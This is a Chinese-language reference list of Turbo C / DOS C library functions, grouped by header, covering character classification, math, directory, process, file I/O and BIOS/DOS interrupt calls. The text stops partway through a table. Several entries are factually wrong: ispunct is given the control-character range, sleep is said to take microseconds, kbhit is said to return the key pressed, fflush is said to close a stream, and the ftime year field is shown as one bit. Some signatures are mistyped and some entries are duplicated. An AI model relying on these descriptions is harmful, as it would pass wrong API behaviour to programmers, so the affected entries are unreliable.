2005年02月12日
                                       C库函数手册





分类函数,所在函数库为ctype.h
int isalpha(int ch) 若ch是字母('A'-'Z','a'-'z')返回非0值,否则返回0
int isalnum(int ch) 若ch是字母('A'-'Z','a'-'z')或数字('0'-'9')
返回非0值,否则返回0
int isascii(int ch) 若ch是字符(ASCII码中的0-127)返回非0值,否则返回0
int iscntrl(int ch) 若ch是作废字符(0x7F)或普通控制字符(0x00-0x1F)
返回非0值,否则返回0
int isdigit(int ch) 若ch是数字('0'-'9')返回非0值,否则返回0
int isgraph(int ch) 若ch是可打印字符(不含空格)(0x21-0x7E)返回非0值,否则返回0
int islower(int ch) 若ch是小写字母('a'-'z')返回非0值,否则返回0
int isprint(int ch) 若ch是可打印字符(含空格)(0x20-0x7E)返回非0值,否则返回0
int ispunct(int ch) 若ch是标点字符(0x00-0x1F)返回非0值,否则返回0
int isspace(int ch) 若ch是空格(' '),水平制表符('\t'),回车符('\r'),
走纸换行('\f'),垂直制表符('\v'),换行符('\n')
返回非0值,否则返回0
int isupper(int ch) 若ch是大写字母('A'-'Z')返回非0值,否则返回0
int isxdigit(int ch) 若ch是16进制数('0'-'9','A'-'F','a'-'f')返回非0值,
否则返回0
int tolower(int ch) 若ch是大写字母('A'-'Z')返回相应的小写字母('a'-'z')
int toupper(int ch) 若ch是小写字母('a'-'z')返回相应的大写字母('A'-'Z')

数学函数,所在函数库为math.h、stdlib.h、string.h、float.h
int abs(int i) 返回整型参数i的绝对值
double cabs(struct complex znum) 返回复数znum的绝对值
double fabs(double x) 返回双精度参数x的绝对值
long labs(long n) 返回长整型参数n的绝对值
double exp(double x) 返回指数函数ex的值
double frexp(double value,int *eptr) 返回value=x*2n中x的值,n存贮在eptr中
double ldexp(double value,int exp); 返回value*2exp的值
double log(double x) 返回logex的值
double log10(double x) 返回log10x的值
double pow(double x,double y) 返回xy的值
double pow10(int p) 返回10p的值
double sqrt(double x) 返回+√x的值
double acos(double x) 返回x的反余弦cos-1(x)值,x为弧度
double asin(double x) 返回x的反正弦sin-1(x)值,x为弧度
double atan(double x) 返回x的反正切tan-1(x)值,x为弧度
double atan2(double y,double x) 返回y/x的反正切tan-1(x)值,y的x为弧度
double cos(double x) 返回x的余弦cos(x)值,x为弧度
double sin(double x) 返回x的正弦sin(x)值,x为弧度
double tan(double x) 返回x的正切tan(x)值,x为弧度
double cosh(double x) 返回x的双曲余弦cosh(x)值,x为弧度
double sinh(double x) 返回x的双曲正弦sinh(x)值,x为弧度
double tanh(double x) 返回x的双曲正切tanh(x)值,x为弧度
double hypot(double x,double y) 返回直角三角形斜边的长度(z),
x和y为直角边的长度,z2=x2+y2
double ceil(double x) 返回不小于x的最小整数
double floor(double x) 返回不大于x的最大整数
void srand(unsigned seed) 初始化随机数发生器
int rand() 产生一个随机数并返回这个数
double poly(double x,int n,double c[])从参数产生一个多项式
double modf(double value,double *iptr)将双精度数value分解成尾数和阶
double fmod(double x,double y) 返回x/y的余数
double frexp(double value,int *eptr) 将双精度数value分成尾数和阶
double atof(char *nptr) 将字符串nptr转换成浮点数并返回这个浮点数
double atoi(char *nptr) 将字符串nptr转换成整数并返回这个整数
double atol(char *nptr) 将字符串nptr转换成长整数并返回这个整数
char *ecvt(double value,int ndigit,int *decpt,int *sign)
将浮点数value转换成字符串并返回该字符串
char *fcvt(double value,int ndigit,int *decpt,int *sign)
将浮点数value转换成字符串并返回该字符串
char *gcvt(double value,int ndigit,char *buf)
将数value转换成字符串并存于buf中,并返回buf的指针
char *ultoa(unsigned long value,char *string,int radix)
将无符号整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char *ltoa(long value,char *string,int radix)
将长整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char *itoa(int value,char *string,int radix)
将整数value转换成字符串存入string,radix为转换时所用基数
double atof(char *nptr) 将字符串nptr转换成双精度数,并返回这个数,错误返回0
int atoi(char *nptr) 将字符串nptr转换成整型数, 并返回这个数,错误返回0
long atol(char *nptr) 将字符串nptr转换成长整型数,并返回这个数,错误返回0
double strtod(char *str,char **endptr)将字符串str转换成双精度数,并返回这个数,
long strtol(char *str,char **endptr,int base)将字符串str转换成长整型数,
并返回这个数,
int matherr(struct exception *e)
用户修改数学错误返回信息函数(没有必要使用)
double _matherr(_mexcep why,char *fun,double *arg1p,
double *arg2p,double retval)
用户修改数学错误返回信息函数(没有必要使用)
unsigned int _clear87() 清除浮点状态字并返回原来的浮点状态
void _fpreset() 重新初使化浮点数学程序包
unsigned int _status87() 返回浮点状态字

目录函数,所在函数库为dir.h、dos.h
int chdir(char *path) 使指定的目录path(如:"C:\\WPS")变成当前的工作目录,成
功返回0
int findfirst(char *pathname,struct ffblk *ffblk,int attrib)查找指定的文件,成功
返回0
pathname为指定的目录名和文件名,如"C:\\WPS\\TXT"
ffblk为指定的保存文件信息的一个结构,定义如下:
┏━━━━━━━━━━━━━━━━━━┓
┃struct ffblk ┃
┃{ ┃
┃ char ff_reserved[21]; /*DOS保留字*/┃
┃ char ff_attrib; /*文件属性*/ ┃
┃ int ff_ftime; /*文件时间*/ ┃
┃ int ff_fdate; /*文件日期*/ ┃
┃ long ff_fsize; /*文件长度*/ ┃
┃ char ff_name[13]; /*文件名*/ ┃
┃} ┃
┗━━━━━━━━━━━━━━━━━━┛
attrib为文件属性,由以下字符代表
┏━━━━━━━━━┳━━━━━━━━┓
┃FA_RDONLY 只读文件┃FA_LABEL 卷标号┃
┃FA_HIDDEN 隐藏文件┃FA_DIREC 目录 ┃
┃FA_SYSTEM 系统文件┃FA_ARCH 档案 ┃
┗━━━━━━━━━┻━━━━━━━━┛
例:
struct ffblk ff;
findfirst("*.wps",&ff,FA_RDONLY);

int findnext(struct ffblk *ffblk) 取匹配finddirst的文件,成功返回0
void fumerge(char *path,char *drive,char *dir,char *name,char *ext)
此函数通过盘符drive(C:、A:等),路径dir(\TC、\BC\LIB等),
文件名name(TC、WPS等),扩展名ext(.EXE、.COM等)组成一个文件名
存与path中.
int fnsplit(char *path,char *drive,char *dir,char *name,char *ext)
此函数将文件名path分解成盘符drive(C:、A:等),路径dir(\TC、\BC\LIB等),
文件名name(TC、WPS等),扩展名ext(.EXE、.COM等),并分别存入相应的变量中.
int getcurdir(int drive,char *direc) 此函数返回指定驱动器的当前工作目录名称
drive 指定的驱动器(0=当前,1=A,2=B,3=C等)
direc 保存指定驱动器当前工作路径的变量 成功返回0
char *getcwd(char *buf,iint n) 此函数取当前工作目录并存入buf中,直到n个字
节长为为止.错误返回NULL
int getdisk() 取当前正在使用的驱动器,返回一个整数(0=A,1=B,2=C等)
int setdisk(int drive) 设置要使用的驱动器drive(0=A,1=B,2=C等),
返回可使用驱动器总数
int mkdir(char *pathname) 建立一个新的目录pathname,成功返回0
int rmdir(char *pathname) 删除一个目录pathname,成功返回0
char *mktemp(char *template) 构造一个当前目录上没有的文件名并存于template中
char *searchpath(char *pathname) 利用MSDOS找出文件filename所在路径,
,此函数使用DOS的PATH变量,未找到文件返回NULL

进程函数,所在函数库为stdlib.h、process.h
void abort() 此函数通过调用具有出口代码3的_exit写一个终止信息于stderr,
并异常终止程序。无返回值
int exec…装入和运行其它程序
int execl( char *pathname,char *arg0,char *arg1,…,char *argn,NULL)
int execle( char *pathname,char *arg0,char *arg1,…,
char *argn,NULL,char *envp[])
int execlp( char *pathname,char *arg0,char *arg1,…,NULL)
int execlpe(char *pathname,char *arg0,char *arg1,…,NULL,char *envp[])
int execv( char *pathname,char *argv[])
int execve( char *pathname,char *argv[],char *envp[])
int execvp( char *pathname,char *argv[])
int execvpe(char *pathname,char *argv[],char *envp[])
exec函数族装入并运行程序pathname,并将参数
arg0(arg1,arg2,argv[],envp[])传递给子程序,出错返回-1
在exec函数族中,后缀l、v、p、e添加到exec后,
所指定的函数将具有某种操作能力
有后缀 p时,函数可以利用DOS的PATH变量查找子程序文件。
l时,函数中被传递的参数个数固定。
v时,函数中被传递的参数个数不固定。
e时,函数传递指定参数envp,允许改变子进程的环境,
无后缀e时,子进程使用当前程序的环境。

void _exit(int status)终止当前程序,但不清理现场
void exit(int status) 终止当前程序,关闭所有文件,写缓冲区的输出(等待输出),
并调用任何寄存器的"出口函数",无返回值

int spawn…运行子程序
int spawnl( int mode,char *pathname,char *arg0,char *arg1,…,
char *argn,NULL)
int spawnle( int mode,char *pathname,char *arg0,char *arg1,…,
char *argn,NULL,char *envp[])
int spawnlp( int mode,char *pathname,char *arg0,char *arg1,…,
char *argn,NULL)
int spawnlpe(int mode,char *pathname,char *arg0,char *arg1,…,
char *argn,NULL,char *envp[])
int spawnv( int mode,char *pathname,char *argv[])
int spawnve( int mode,char *pathname,char *argv[],char *envp[])
int spawnvp( int mode,char *pathname,char *argv[])
int spawnvpe(int mode,char *pathname,char *argv[],char *envp[])
spawn函数族在mode模式下运行子程序pathname,并将参数
arg0(arg1,arg2,argv[],envp[])传递给子程序.出错返回-1
mode为运行模式
mode为 P_WAIT 表示在子程序运行完后返回本程序
P_NOWAIT 表示在子程序运行时同时运行本程序(不可用)
P_OVERLAY表示在本程序退出后运行子程序
在spawn函数族中,后缀l、v、p、e添加到spawn后,
所指定的函数将具有某种操作能力
有后缀 p时, 函数利用DOS的PATH查找子程序文件
l时, 函数传递的参数个数固定.
v时, 函数传递的参数个数不固定.
e时, 指定参数envp可以传递给子程序,允许改变子程序运行环境.
当无后缀e时,子程序使用本程序的环境.

int system(char *command) 将MSDOS命令command传递给DOS执行

转换子程序,函数库为math.h、stdlib.h、ctype.h、float.h
char *ecvt(double value,int ndigit,int *decpt,int *sign)
将浮点数value转换成字符串并返回该字符串
char *fcvt(double value,int ndigit,int *decpt,int *sign)
将浮点数value转换成字符串并返回该字符串
char *gcvt(double value,int ndigit,char *buf)
将数value转换成字符串并存于buf中,并返回buf的指针
char *ultoa(unsigned long value,char *string,int radix)
将无符号整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char *ltoa(long value,char *string,int radix)
将长整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char *itoa(int value,char *string,int radix)
将整数value转换成字符串存入string,radix为转换时所用基数
double atof(char *nptr) 将字符串nptr转换成双精度数,并返回这个数,错误返回0
int atoi(char *nptr) 将字符串nptr转换成整型数, 并返回这个数,错误返回0
long atol(char *nptr) 将字符串nptr转换成长整型数,并返回这个数,错误返回0
double strtod(char *str,char **endptr)将字符串str转换成双精度数,并返回这个数,
long strtol(char *str,char **endptr,int base)将字符串str转换成长整型数,
并返回这个数,
int toascii(int c) 返回c相应的ASCII
int tolower(int ch) 若ch是大写字母('A'-'Z')返回相应的小写字母('a'-'z')
int _tolower(int ch) 返回ch相应的小写字母('a'-'z')
int toupper(int ch) 若ch是小写字母('a'-'z')返回相应的大写字母('A'-'Z')
int _toupper(int ch) 返回ch相应的大写字母('A'-'Z')

诊断函数,所在函数库为assert.h、math.h
void assert(int test) 一个扩展成if语句那样的宏,如果test测试失败,
就显示一个信息并异常终止程序,无返回值
void perror(char *string) 本函数将显示最近一次的错误信息,格式如下:
字符串string:错误信息
char *strerror(char *str) 本函数返回最近一次的错误信息,格式如下:
字符串str:错误信息
int matherr(struct exception *e)
用户修改数学错误返回信息函数(没有必要使用)
double _matherr(_mexcep why,char *fun,double *arg1p,
double *arg2p,double retval)
用户修改数学错误返回信息函数(没有必要使用)

输入输出子程序,函数库为io.h、conio.h、stat.h、dos.h、stdio.h、signal.h
int kbhit() 本函数返回最近所敲的按键
int fgetchar() 从控制台(键盘)读一个字符,显示在屏幕上
int getch() 从控制台(键盘)读一个字符,不显示在屏幕上
int putch() 向控制台(键盘)写一个字符
int getchar() 从控制台(键盘)读一个字符,显示在屏幕上
int putchar() 向控制台(键盘)写一个字符
int getche() 从控制台(键盘)读一个字符,显示在屏幕上
int ungetch(int c) 把字符c退回给控制台(键盘)
char *cgets(char *string) 从控制台(键盘)读入字符串存于string中
int scanf(char *format[,argument…])从控制台读入一个字符串,分别对各个参数进行
赋值,使用BIOS进行输出
int vscanf(char *format,Valist param)从控制台读入一个字符串,分别对各个参数进行
赋值,使用BIOS进行输出,参数从Valist param中取得
int cscanf(char *format[,argument…])从控制台读入一个字符串,分别对各个参数进行
赋值,直接对控制台作操作,比如显示器在显示时字符时即为直接写频方式显示
int sscanf(char *string,char *format[,argument,…])通过字符串string,分别对各个
参数进行赋值
int vsscanf(char *string,char *format,Vlist param)通过字符串string,分别对各个
参数进行赋值,参数从Vlist param中取得
int puts(char *string) 发关一个字符串string给控制台(显示器),
使用BIOS进行输出
void cputs(char *string) 发送一个字符串string给控制台(显示器),
直接对控制台作操作,比如显示器即为直接写频方式显示
int printf(char *format[,argument,…]) 发送格式化字符串输出给控制台(显示器)
使用BIOS进行输出
int vprintf(char *format,Valist param) 发送格式化字符串输出给控制台(显示器)
使用BIOS进行输出,参数从Valist param中取得
int cprintf(char *format[,argument,…]) 发送格式化字符串输出给控制台(显示器),
直接对控制台作操作,比如显示器即为直接写频方式显示
int vcprintf(char *format,Valist param)发送格式化字符串输出给控制台(显示器),
直接对控制台作操作,比如显示器即为直接写频方式显示,
参数从Valist param中取得
int sprintf(char *string,char *format[,argument,…])
将字符串string的内容重新写为格式化后的字符串
int vsprintf(char *string,char *format,Valist param)
将字符串string的内容重新写为格式化后的字符串,参数从Valist param中取得
int rename(char *oldname,char *newname)将文件oldname的名称改为newname
int ioctl(int handle,int cmd[,int *argdx,int argcx])
本函数是用来控制输入/输出设备的,请见下表:
┌───┬────────────────────────────┐
│cmd值 │功能 │
├───┼────────────────────────────┤
│ 0 │取出设备信息 │
│ 1 │设置设备信息 │
│ 2 │把argcx字节读入由argdx所指的地址 │
│ 3 │在argdx所指的地址写argcx字节 │
│ 4 │除把handle当作设备号(0=当前,1=A,等)之外,均和cmd=2时一样 │
│ 5 │除把handle当作设备号(0=当前,1=A,等)之外,均和cmd=3时一样 │
│ 6 │取输入状态 │
│ 7 │取输出状态 │
│ 8 │测试可换性;只对于DOS 3.x │
│ 11 │置分享冲突的重算计数;只对DOS 3.x │
└───┴────────────────────────────┘
int (*ssignal(int sig,int(*action)())()执行软件信号(没必要使用)
int gsignal(int sig) 执行软件信号(没必要使用)

int _open(char *pathname,int access)为读或写打开一个文件,
按后按access来确定是读文件还是写文件,access值见下表
┌──────┬────────────────────┐
│access值 │意义 │
├──────┼────────────────────┤
│O_RDONLY │读文件 │
│O_WRONLY │写文件 │
│O_RDWR │即读也写 │
│O_NOINHERIT │若文件没有传递给子程序,则被包含 │
│O_DENYALL │只允许当前处理必须存取的文件 │
│O_DENYWRITE │只允许从任何其它打开的文件读 │
│O_DENYREAD │只允许从任何其它打开的文件写 │
│O_DENYNONE │允许其它共享打开的文件 │
└──────┴────────────────────┘
int open(char *pathname,int access[,int permiss])为读或写打开一个文件,
按后按access来确定是读文件还是写文件,access值见下表
┌────┬────────────────────┐
│access值│意义 │
├────┼────────────────────┤
│O_RDONLY│读文件 │
│O_WRONLY│写文件 │
│O_RDWR │即读也写 │
│O_NDELAY│没有使用;对UNIX系统兼容 │
│O_APPEND│即读也写,但每次写总是在文件尾添加 │
│O_CREAT │若文件存在,此标志无用;若不存在,建新文件 │
│O_TRUNC │若文件存在,则长度被截为0,属性不变 │
│O_EXCL │未用;对UNIX系统兼容 │
│O_BINARY│此标志可显示地给出以二进制方式打开文件 │
│O_TEXT │此标志可用于显示地给出以文本方式打开文件│
└────┴────────────────────┘
permiss为文件属性,可为以下值:
S_IWRITE允许写 S_IREAD允许读 S_IREAD|S_IWRITE允许读、写
int creat(char *filename,int permiss) 建立一个新文件filename,并设定
读写性。permiss为文件读写性,可以为以下值
S_IWRITE允许写 S_IREAD允许读 S_IREAD|S_IWRITE允许读、写
int _creat(char *filename,int attrib) 建立一个新文件filename,并设定文件
属性。attrib为文件属性,可以为以下值
FA_RDONLY只读 FA_HIDDEN隐藏 FA_SYSTEM系统
int creatnew(char *filenamt,int attrib) 建立一个新文件filename,并设定文件
属性。attrib为文件属性,可以为以下值
FA_RDONLY只读 FA_HIDDEN隐藏 FA_SYSTEM系统
int creattemp(char *filenamt,int attrib) 建立一个新文件filename,并设定文件
属性。attrib为文件属性,可以为以下值
FA_RDONLY只读 FA_HIDDEN隐藏 FA_SYSTEM系统
int read(int handle,void *buf,int nbyte)从文件号为handle的文件中读nbyte个字符
存入buf中
int _read(int handle,void *buf,int nbyte)从文件号为handle的文件中读nbyte个字符
存入buf中,直接调用MSDOS进行操作.
int write(int handle,void *buf,int nbyte)将buf中的nbyte个字符写入文件号
为handle的文件中
int _write(int handle,void *buf,int nbyte)将buf中的nbyte个字符写入文件号
为handle的文件中
int dup(int handle) 复制一个文件处理指针handle,返回这个指针
int dup2(int handle,int newhandle) 复制一个文件处理指针handle到newhandle
int eof(int *handle)检查文件是否结束,结束返回1,否则返回0
long filelength(int handle) 返回文件长度,handle为文件号
int setmode(int handle,unsigned mode)本函数用来设定文件号为handle的文件的打
开方式
int getftime(int handle,struct ftime *ftime) 读取文件号为handle的文件的时间,
并将文件时间存于ftime结构中,成功返回0,ftime结构如下:
┌─────────────────┐
│struct ftime │
│{ │
│ unsigned ft_tsec:5; /*秒*/ │
│ unsigned ft_min:6; /*分*/ │
│ unsigned ft_hour:5; /*时*/ │
│ unsigned ft_day:5; /*日*/ │
│ unsigned ft_month:4;/*月*/ │
│ unsigned ft_year:1; /*年-1980*/ │
│} │
└─────────────────┘
int setftime(int handle,struct ftime *ftime) 重写文件号为handle的文件时间,
新时间在结构ftime中.成功返回0.结构ftime如下:
┌─────────────────┐
│struct ftime │
│{ │
│ unsigned ft_tsec:5; /*秒*/ │
│ unsigned ft_min:6; /*分*/ │
│ unsigned ft_hour:5; /*时*/ │
│ unsigned ft_day:5; /*日*/ │
│ unsigned ft_month:4;/*月*/ │
│ unsigned ft_year:1; /*年-1980*/ │
│} │
└─────────────────┘
long lseek(int handle,long offset,int fromwhere) 本函数将文件号为handle的文件
的指针移到fromwhere后的第offset个字节处.
SEEK_SET 文件开关 SEEK_CUR 当前位置 SEEK_END 文件尾
long tell(int handle) 本函数返回文件号为handle的文件指针,以字节表示
int isatty(int handle)本函数用来取设备handle的类型
int lock(int handle,long offset,long length) 对文件共享作封锁
int unlock(int handle,long offset,long length) 打开对文件共享的封锁
int close(int handle) 关闭handle所表示的文件处理,handle是从_creat、creat、
creatnew、creattemp、dup、dup2、_open、open中的一个处调用获得的文件处理
成功返回0否则返回-1,可用于UNIX系统
int _close(int handle) 关闭handle所表示的文件处理,handle是从_creat、creat、
creatnew、creattemp、dup、dup2、_open、open中的一个处调用获得的文件处理
成功返回0否则返回-1,只能用于MSDOS系统

FILE *fopen(char *filename,char *type) 打开一个文件filename,打开方式为type,
并返回这个文件指针,type可为以下字符串加上后缀
┌──┬────┬───────┬────────┐
│type│读写性 │文本/2进制文件│建新/打开旧文件 │
├──┼────┼───────┼────────┤
│r │读 │文本 │打开旧的文件 │
│w │写 │文本 │建新文件 │
│a │添加 │文本 │有就打开无则建新│
│r+ │读/写 │不限制 │打开 │
│w+ │读/写 │不限制 │建新文件 │
│a+ │读/添加 │不限制 │有就打开无则建新│
└──┴────┴───────┴────────┘
可加的后缀为t、b。加b表示文件以二进制形式进行操作,t没必要使用
例: ┌──────────────────┐
│#include<stdio.h> │
│main() │
│{ │
│ FILE *fp; │
│ fp=fopen("C:\\WPS\\WPS.EXE","r+b");│
└──────────────────┘
FILE *fdopen(int ahndle,char *type)
FILE *freopen(char *filename,char *type,FILE *stream)
int getc(FILE *stream) 从流stream中读一个字符,并返回这个字符
int putc(int ch,FILE *stream)向流stream写入一个字符ch
int getw(FILE *stream) 从流stream读入一个整数,错误返回EOF
int putw(int w,FILE *stream)向流stream写入一个整数
int ungetc(char c,FILE *stream) 把字符c退回给流stream,下一次读进的字符将是c
int fgetc(FILE *stream) 从流stream处读一个字符,并返回这个字符
int fputc(int ch,FILE *stream) 将字符ch写入流stream中
char *fgets(char *string,int n,FILE *stream) 从流stream中读n个字符存入string中
int fputs(char *string,FILE *stream) 将字符串string写入流stream中
int fread(void *ptr,int size,int nitems,FILE *stream) 从流stream中读入nitems
个长度为size的字符串存入ptr中
int fwrite(void *ptr,int size,int nitems,FILE *stream) 向流stream中写入nitems
个长度为size的字符串,字符串在ptr中
int fscanf(FILE *stream,char *format[,argument,…]) 以格式化形式从流stream中
读入一个字符串
int vfscanf(FILE *stream,char *format,Valist param) 以格式化形式从流stream中
读入一个字符串,参数从Valist param中取得
int fprintf(FILE *stream,char *format[,argument,…]) 以格式化形式将一个字符
串写给指定的流stream
int vfprintf(FILE *stream,char *format,Valist param) 以格式化形式将一个字符
串写给指定的流stream,参数从Valist param中取得
int fseek(FILE *stream,long offset,int fromwhere) 函数把文件指针移到fromwhere
所指位置的向后offset个字节处,fromwhere可以为以下值:
SEEK_SET 文件开关 SEEK_CUR 当前位置 SEEK_END 文件尾
long ftell(FILE *stream) 函数返回定位在stream中的当前文件指针位置,以字节表示
int rewind(FILE *stream) 将当前文件指针stream移到文件开头
int feof(FILE *stream) 检测流stream上的文件指针是否在结束位置
int fileno(FILE *stream) 取流stream上的文件处理,并返回文件处理
int ferror(FILE *stream) 检测流stream上是否有读写错误,如有错误就返回1
void clearerr(FILE *stream) 清除流stream上的读写错误
void setbuf(FILE *stream,char *buf) 给流stream指定一个缓冲区buf
void setvbuf(FILE *stream,char *buf,int type,unsigned size)
给流stream指定一个缓冲区buf,大小为size,类型为type,type的值见下表
┌───┬───────────────────────────────┐
│type值│意义 │
├───┼───────────────────────────────┤
│_IOFBF│文件是完全缓冲区,当缓冲区是空时,下一个输入操作将企图填满整个缓│
│ │冲区.在输出时,在把任何数据写到文件之前,将完全填充缓冲区. │
│_IOLBF│文件是行缓冲区.当缓冲区为空时,下一个输入操作将仍然企图填整个缓│
│ │冲区.然而在输出时,每当新行符写到文件,缓冲区就被清洗掉. │
│_IONBF│文件是无缓冲的.buf和size参数是被忽略的.每个输入操作将直接从文 │
│ │件读,每个输出操作将立即把数据写到文件中. │
└───┴───────────────────────────────┘
int fclose(FILE *stream) 关闭一个流,可以是文件或设备(例如LPT1)
int fcloseall() 关闭所有除stdin或stdout外的流
int fflush(FILE *stream) 关闭一个流,并对缓冲区作处理
处理即对读的流,将流内内容读入缓冲区;
对写的流,将缓冲区内内容写入流。成功返回0
int fflushall() 关闭所有流,并对流各自的缓冲区作处理
处理即对读的流,将流内内容读入缓冲区;
对写的流,将缓冲区内内容写入流。成功返回0

int access(char *filename,int amode) 本函数检查文件filename并返回文件的属性,
函数将属性存于amode中,amode由以下位的组合构成
06可以读、写 04可以读 02可以写 01执行(忽略的) 00文件存在
如果filename是一个目录,函数将只确定目录是否存在
函数执行成功返回0,否则返回-1
int chmod(char *filename,int permiss) 本函数用于设定文件filename的属性
permiss可以为以下值
S_IWRITE允许写 S_IREAD允许读 S_IREAD|S_IWRITE允许读、写
int _chmod(char *filename,int func[,int attrib]);
本函数用于读取或设定文件filename的属性,
当func=0时,函数返回文件的属性;当func=1时,函数设定文件的属性
若为设定文件属性,attrib可以为下列常数之一
FA_RDONLY只读 FA_HIDDEN隐藏 FA_SYSTEM系统


接口子程序,所在函数库为:dos.h、bios.h
unsigned sleep(unsigned seconds)暂停seconds微秒(百分之一秒)
int unlink(char *filename)删除文件filename
unsigned FP_OFF(void far *farptr)本函数用来取远指针farptr的偏移量
unsigned FP_SEG(void far *farptr)本函数用来没置远指针farptr的段值
void far *MK_FP(unsigned seg,unsigned off)根据段seg和偏移量off构造一个far指针
unsigned getpsp()取程序段前缀的段地址,并返回这个地址
char *parsfnm(char *cmdline,struct fcb *fcbptr,int option)
函数分析一个字符串,通常,对一个文件名来说,是由cmdline所指的一个命令行.
文件名是放入一个FCB中作为一个驱动器,文件名和扩展名.FCB是由fcbptr所指
定的.option参数是DOS分析系统调用时,AL文本的值.

int absread(int drive,int nsects,int sectno,void *buffer)本函数功能为读特定的
磁盘扇区,drive为驱动器号(0=A,1=B等),nsects为要读的扇区数,sectno为开始的逻
辑扇区号,buffer为保存所读数据的保存空间
int abswrite(int drive,int nsects,int sectno,void *buffer)本函数功能为写特定的
磁盘扇区,drive为驱动器号(0=A,1=B等),nsects为要写的扇区数,sectno为开始的逻
辑扇区号,buffer为保存所写数据的所在空间
void getdfree(int drive,struct dfree *dfreep)本函数用来取磁盘的自由空间,
drive为磁盘号(0=当前,1=A等).函数将磁盘特性的由dfreep指向的dfree结构中.
dfree结构如下:
┌───────────────────┐
│struct dfree │
│{ │
│ unsigned df_avail; /*有用簇个数*/ │
│ unsigned df_total; /*总共簇个数*/ │
│ unsigned df_bsec; /*每个扇区字节数*/│
│ unsigned df_sclus; /*每个簇扇区数*/ │
│} │
└───────────────────┘
char far *getdta() 取磁盘转换地址DTA
void setdta(char far *dta)设置磁盘转换地址DTA
void getfat(int drive,fatinfo *fatblkp)
本函数返回指定驱动器drive(0=当前,1=A,2=B等)的文件分配表信息
并存入结构fatblkp中,结构如下:
┌──────────────────┐
│struct fatinfo │
│{ │
│ char fi_sclus; /*每个簇扇区数*/ │
│ char fi_fatid; /*文件分配表字节数*/│
│ int fi_nclus; /*簇的数目*/ │
│ int fi_bysec; /*每个扇区字节数*/ │
│} │
└──────────────────┘
void getfatd(struct fatinfo *fatblkp) 本函数返回当前驱动器的文件分配表信息,
并存入结构fatblkp中,结构如下:
┌──────────────────┐
│struct fatinfo │
│{ │
│ char fi_sclus; /*每个簇扇区数*/ │
│ char fi_fatid; /*文件分配表字节数*/│
│ int fi_nclus; /*簇的数目*/ │
│ int fi_bysec; /*每个扇区字节数*/ │
│} │
└──────────────────┘

int bdos(int dosfun,unsigned dosdx,unsigned dosal)本函数对MSDOS系统进行调用,
dosdx为寄存器dx的值,dosal为寄存器al的值,dosfun为功能号
int bdosptr(int dosfun,void *argument,unsiigned dosal)本函数对MSDOS系统进行调用,
argument为寄存器dx的值,dosal为寄存器al的值,dosfun为功能号
int int86(int intr_num,union REGS *inregs,union REGS *outregs)
执行intr_num号中断,用户定义的寄存器值存于结构inregs中,
执行完后将返回的寄存器值存于结构outregs中.
int int86x(int intr_num,union REGS *inregs,union REGS *outregs,
struct SREGS *segregs)执行intr_num号中断,用户定义的寄存器值存于
结构inregs中和结构segregs中,执行完后将返回的寄存器值存于结构outregs中.
int intdos(union REGS *inregs,union REGS *outregs)
本函数执行DOS中断0x21来调用一个指定的DOS函数,用户定义的寄存器值
存于结构inregs中,执行完后函数将返回的寄存器值存于结构outregs中
int intdosx(union REGS *inregs,union REGS *outregs,struct SREGS *segregs)
本函数执行DOS中断0x21来调用一个指定的DOS函数,用户定义的寄存器值
存于结构inregs和segregs中,执行完后函数将返回的寄存器值存于结构outregs中
void intr(int intr_num,struct REGPACK *preg)本函数中一个备用的8086软件中断接口
它能产生一个由参数intr_num指定的8086软件中断.函数在执行软件中断前,
从结构preg复制用户定义的各寄存器值到各个寄存器.软件中断完成后,
函数将当前各个寄存器的值复制到结构preg中.参数如下:
intr_num 被执行的中断号
preg为保存用户定义的寄存器值的结构,结构如下
┌──────────────────────┐
│struct REGPACK │
│{ │
│ unsigned r_ax,r_bx,r_cx,r_dx; │
│ unsigned r_bp,r_si,r_di,r_ds,r_es,r_flags; │
│} │
└──────────────────────┘
函数执行完后,将新的寄存器值存于结构preg中
void keep(int status,int size)以status状态返回MSDOS,但程序仍保留于内存中,所占
用空间由size决定.
void ctrlbrk(int (*fptr)()) 设置中断后的对中断的处理程序.
void disable() 禁止发生中断
void enable() 允许发生中断
void geninterrupt(int intr_num)执行由intr_num所指定的软件中断
void interrupt(* getvect(int intr_num))() 返回中断号为intr_num的中断处理程序,
例如: old_int_10h=getvect(0x10);
void setvect(int intr_num,void interrupt(* isr)()) 设置中断号为intr_num的中
断处理程序为isr,例如: setvect(0x10,new_int_10h);
void harderr(int (*fptr)()) 定义一个硬件错误处理程序,
每当出现错误时就调用fptr所指的程序
void hardresume(int rescode)硬件错误处理函数
void hardretn(int errcode) 硬件错误处理函数
int inport(int prot) 从指定的输入端口读入一个字,并返回这个字
int inportb(int port)从指定的输入端口读入一个字节,并返回这个字节
void outport(int port,int word) 将字word写入指定的输出端口port
void outportb(int port,char byte)将字节byte写入指定的输出端口port
int peek(int segment,unsigned offset) 函数返回segment:offset处的一个字
char peekb(int segment,unsigned offset)函数返回segment:offset处的一个字节
void poke(int segment,int offset,char value) 将字value写到segment:offset处
void pokeb(int segment,int offset,int value) 将字节value写到segment:offset处
int randbrd(struct fcb *fcbptr,int reccnt)
函数利用打开fcbptr所指的FCB读reccnt个记录.
int randbwr(struct fcb *fcbptr,int reccnt)
函数将fcbptr所指的FCB中的reccnt个记录写到磁盘上
void segread(struct SREGS *segtbl)函数把段寄存器的当前值放进结构segtbl中
int getverify() 取检验标志的当前状态(0=检验关闭,1=检验打开)
void setverify(int value)设置当前检验状态,
value为0表示关闭检验,为1表示打开检验
int getcbrk()本函数返回控制中断检测的当前设置
int setcbrk(int value)本函数用来设置控制中断检测为接通或断开
当value=0时,为断开检测.当value=1时,为接开检测

int dosexterr(struct DOSERR *eblkp)取扩展错误.在DOS出现错误后,此函数将扩充的
错误信息填入eblkp所指的DOSERR结构中.该结构定义如下:
┌──────────────┐
│struct DOSERR │
│{ │
│ int exterror;/*扩展错误*/ │
│ char class; /*错误类型*/ │
│ char action; /*方式*/ │
│ char locus; /*错误场所*/ │
│} │
└──────────────┘
int bioscom(int cmd,char type,int port) 本函数负责对数据的通讯工作,
cmd可以为以下值:
0 置通讯参数为字节byte值 1 发送字符通过通讯线输出
2 从通讯线接受字符 3 返回通讯的当前状态
port为通讯端口,port=0时通讯端口为COM1,port=1时通讯端口为COM2,以此类推
byte为传送或接收数据时的参数,为以下位的组合:
┌───┬─────┬───┬─────┬───┬─────┐
